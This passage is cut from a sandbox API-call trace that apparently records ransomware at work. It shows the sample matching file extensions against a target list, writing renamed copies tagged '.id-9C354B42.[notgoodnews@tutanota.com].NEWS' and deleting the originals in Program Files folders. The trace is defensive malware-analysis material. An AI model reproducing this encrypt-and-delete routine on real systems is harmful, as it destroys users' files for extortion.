Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.099] lstrlenW (lpString=".doc") returned 4 [0218.099] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.099] lstrlenW (lpString=".docx") returned 5 [0218.099] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0218.099] lstrlenW (lpString=".pdf") returned 4 [0218.099] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0218.099] lstrlenW (lpString=".xls") returned 4 [0218.099] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0218.099] lstrlenW (lpString=".xlsx") returned 5 [0218.099] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0218.100] lstrlenW (lpString=".ppt") returned 4 [0218.100] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0218.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.100] lstrlenW (lpString=".zip") returned 4 [0218.100] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0218.100] lstrlenW (lpString=".rar") returned 4 [0218.100] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0218.100] lstrlenW (lpString=".bz2") returned 4 [0218.101] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0218.101] lstrlenW (lpString=".7z") returned 3 [0218.101] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0218.101] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.101] lstrlenW (lpString=".dbf") returned 4 [0218.101] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0218.101] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.102] lstrlenW (lpString=".1cd") returned 4 [0218.102] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0218.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.102] lstrlenW (lpString=".jpg") returned 4 [0218.102] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0218.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.102] lstrlenW (lpString=".doc") returned 4 [0218.104] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.104] lstrlenW (lpString=".docx") returned 5 [0218.104] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0218.104] lstrlenW (lpString=".pdf") returned 4 [0218.104] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0218.104] lstrlenW (lpString=".xls") returned 4 [0218.104] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0218.104] lstrlenW (lpString=".xlsx") returned 5 [0218.104] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0218.105] lstrlenW (lpString=".ppt") returned 4 [0218.105] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0218.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.105] lstrlenW (lpString=".zip") returned 4 [0218.105] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0218.105] lstrlenW (lpString=".rar") returned 4 [0218.105] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0218.105] lstrlenW (lpString=".bz2") returned 4 [0218.105] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0218.105] lstrlenW (lpString=".7z") returned 3 [0218.105] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0218.105] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.105] lstrlenW (lpString=".dbf") returned 4 [0218.106] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0218.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.106] lstrlenW (lpString=".1cd") returned 4 [0218.106] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0218.106] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0218.106] lstrlenW (lpString=".jpg") returned 4 [0218.106] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0218.107] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0218.107] lstrlenW (lpString="Scenes_LOOP_BG.wmv") returned 18 [0218.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0218.108] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=797322) returned 1 [0218.108] CloseHandle (hObject=0x35c) returned 1 [0218.109] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0218.109] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.109] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.109] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.110] lstrlenW (lpString=".doc") returned 4 [0218.110] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.110] lstrlenW (lpString=".docx") returned 5 [0218.110] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0218.110] lstrlenW (lpString=".pdf") returned 4 [0218.110] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0218.110] lstrlenW (lpString=".xls") returned 4 [0218.110] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0218.110] lstrlenW (lpString=".xlsx") returned 5 [0218.110] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0218.110] lstrlenW (lpString=".ppt") returned 4 [0218.111] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0218.111] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.111] lstrlenW (lpString=".zip") returned 4 [0218.111] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0218.111] lstrlenW (lpString=".rar") returned 4 [0218.111] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0218.111] lstrlenW (lpString=".bz2") returned 4 [0218.111] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0218.111] lstrlenW (lpString=".7z") returned 3 [0218.111] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.112] lstrlenW (lpString=".dbf") returned 4 [0218.112] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.112] lstrlenW (lpString=".1cd") returned 4 [0218.112] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.112] lstrlenW (lpString=".jpg") returned 4 [0218.112] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0218.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.113] lstrlenW (lpString=".doc") returned 4 [0218.113] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.113] lstrlenW (lpString=".docx") returned 5 [0218.113] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0218.114] lstrlenW (lpString=".pdf") returned 4 [0218.114] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0218.114] lstrlenW (lpString=".xls") returned 4 [0218.114] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0218.114] lstrlenW (lpString=".xlsx") returned 5 [0218.114] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0218.114] lstrlenW (lpString=".ppt") returned 4 [0218.115] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0218.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.115] lstrlenW (lpString=".zip") returned 4 [0218.115] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0218.115] lstrlenW (lpString=".rar") returned 4 [0218.115] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0218.115] lstrlenW (lpString=".bz2") returned 4 [0218.115] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0218.115] lstrlenW (lpString=".7z") returned 3 [0218.115] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0218.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.116] lstrlenW (lpString=".dbf") returned 4 [0218.117] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0218.117] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.117] lstrlenW (lpString=".1cd") returned 4 [0218.117] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0218.117] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned 67 [0218.117] lstrlenW (lpString=".jpg") returned 4 [0218.117] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0218.118] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0218.118] lstrlenW (lpString="Scenes_LOOP_BG_PAL.wmv") returned 22 [0218.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0218.119] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=869322) returned 1 [0218.119] CloseHandle (hObject=0x35c) returned 1 [0218.119] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0218.119] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.121] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0218.121] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned 71 [0218.121] lstrlenW (lpString=".doc") returned 4 [0218.121] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.122] lstrlenW (lpString=".docx") returned 5 [0218.122] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0218.122] lstrlenW (lpString=".pdf") returned 4 [0218.122] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0220.704] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.705] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0221.222] GetLastError () returned 0x0 [0221.222] ReadFile (in: hFile=0x370, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0221.228] WriteFile (in: hFile=0x390, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0221.233] ReadFile (in: hFile=0x370, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.233] WriteFile (in: hFile=0x390, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.233] SetEndOfFile (hFile=0x390) returned 1 [0221.234] CloseHandle (hObject=0x390) returned 1 [0221.234] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.234] SetEndOfFile (hFile=0x370) returned 1 [0221.246] CloseHandle (hObject=0x370) returned 1 [0221.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0221.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0221.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.250] lstrlenW (lpString=".doc") returned 4 [0221.250] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0221.250] lstrlenW (lpString=".docx") returned 5 [0221.251] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0221.251] lstrlenW (lpString=".pdf") returned 4 [0221.251] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0221.251] lstrlenW (lpString=".xls") returned 4 [0221.251] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0221.251] lstrlenW (lpString=".xlsx") returned 5 [0221.251] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0221.251] lstrlenW (lpString=".ppt") returned 4 [0221.251] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0221.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.251] lstrlenW (lpString=".zip") returned 4 [0221.251] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0221.251] lstrlenW (lpString=".rar") returned 4 [0221.252] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0221.252] lstrlenW (lpString=".bz2") returned 4 [0221.252] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0221.252] lstrlenW (lpString=".7z") returned 3 [0221.252] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0221.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.252] lstrlenW (lpString=".dbf") returned 4 [0221.252] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0221.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.252] lstrlenW (lpString=".1cd") returned 4 [0221.252] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0221.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.253] lstrlenW (lpString=".jpg") returned 4 [0221.253] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0221.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.253] lstrlenW (lpString=".doc") returned 4 [0221.253] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0221.253] lstrlenW (lpString=".docx") returned 5 [0221.253] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0221.253] lstrlenW (lpString=".pdf") returned 4 [0221.253] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0221.253] lstrlenW (lpString=".xls") returned 4 [0221.254] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0221.254] lstrlenW (lpString=".xlsx") returned 5 [0221.254] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0221.254] lstrlenW (lpString=".ppt") returned 4 [0221.254] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0221.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.254] lstrlenW (lpString=".zip") returned 4 [0221.254] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0221.254] lstrlenW (lpString=".rar") returned 4 [0221.254] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0221.254] lstrlenW (lpString=".bz2") returned 4 [0221.255] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0221.255] lstrlenW (lpString=".7z") returned 3 [0221.255] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0221.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.255] lstrlenW (lpString=".dbf") returned 4 [0221.255] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0221.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.255] lstrlenW (lpString=".1cd") returned 4 [0221.255] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0221.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0221.255] lstrlenW (lpString=".jpg") returned 4 [0221.256] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0221.692] lstrcmpiW (lpString1=".xsl", lpString2=".NEWS") returned 1 [0221.692] lstrlenW (lpString="sql2000.xsl") returned 11 [0221.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0221.734] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=34076) returned 1 [0221.734] CloseHandle (hObject=0x390) returned 1 [0221.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0221.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0221.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0221.735] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0221.738] GetLastError () returned 0x0 [0221.738] ReadFile (in: hFile=0x390, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x851c, lpOverlapped=0x0) returned 1 [0222.800] WriteFile (in: hFile=0x398, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x8520, lpOverlapped=0x0) returned 1 [0222.805] ReadFile (in: hFile=0x390, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.805] WriteFile (in: hFile=0x398, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.805] SetEndOfFile (hFile=0x398) returned 1 [0222.806] CloseHandle (hObject=0x398) returned 1 [0222.806] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.806] SetEndOfFile (hFile=0x390) returned 1 [0222.817] CloseHandle (hObject=0x390) returned 1 [0222.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0222.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0222.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.819] lstrlenW (lpString=".doc") returned 4 [0222.819] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0222.819] lstrlenW (lpString=".docx") returned 5 [0222.819] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0222.819] lstrlenW (lpString=".pdf") returned 4 [0222.819] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0222.820] lstrlenW (lpString=".xls") returned 4 [0222.820] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0222.820] lstrlenW (lpString=".xlsx") returned 5 [0222.820] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0222.820] lstrlenW (lpString=".ppt") returned 4 [0222.820] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0222.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.820] lstrlenW (lpString=".zip") returned 4 [0222.820] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0222.820] lstrlenW (lpString=".rar") returned 4 [0222.820] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0222.821] 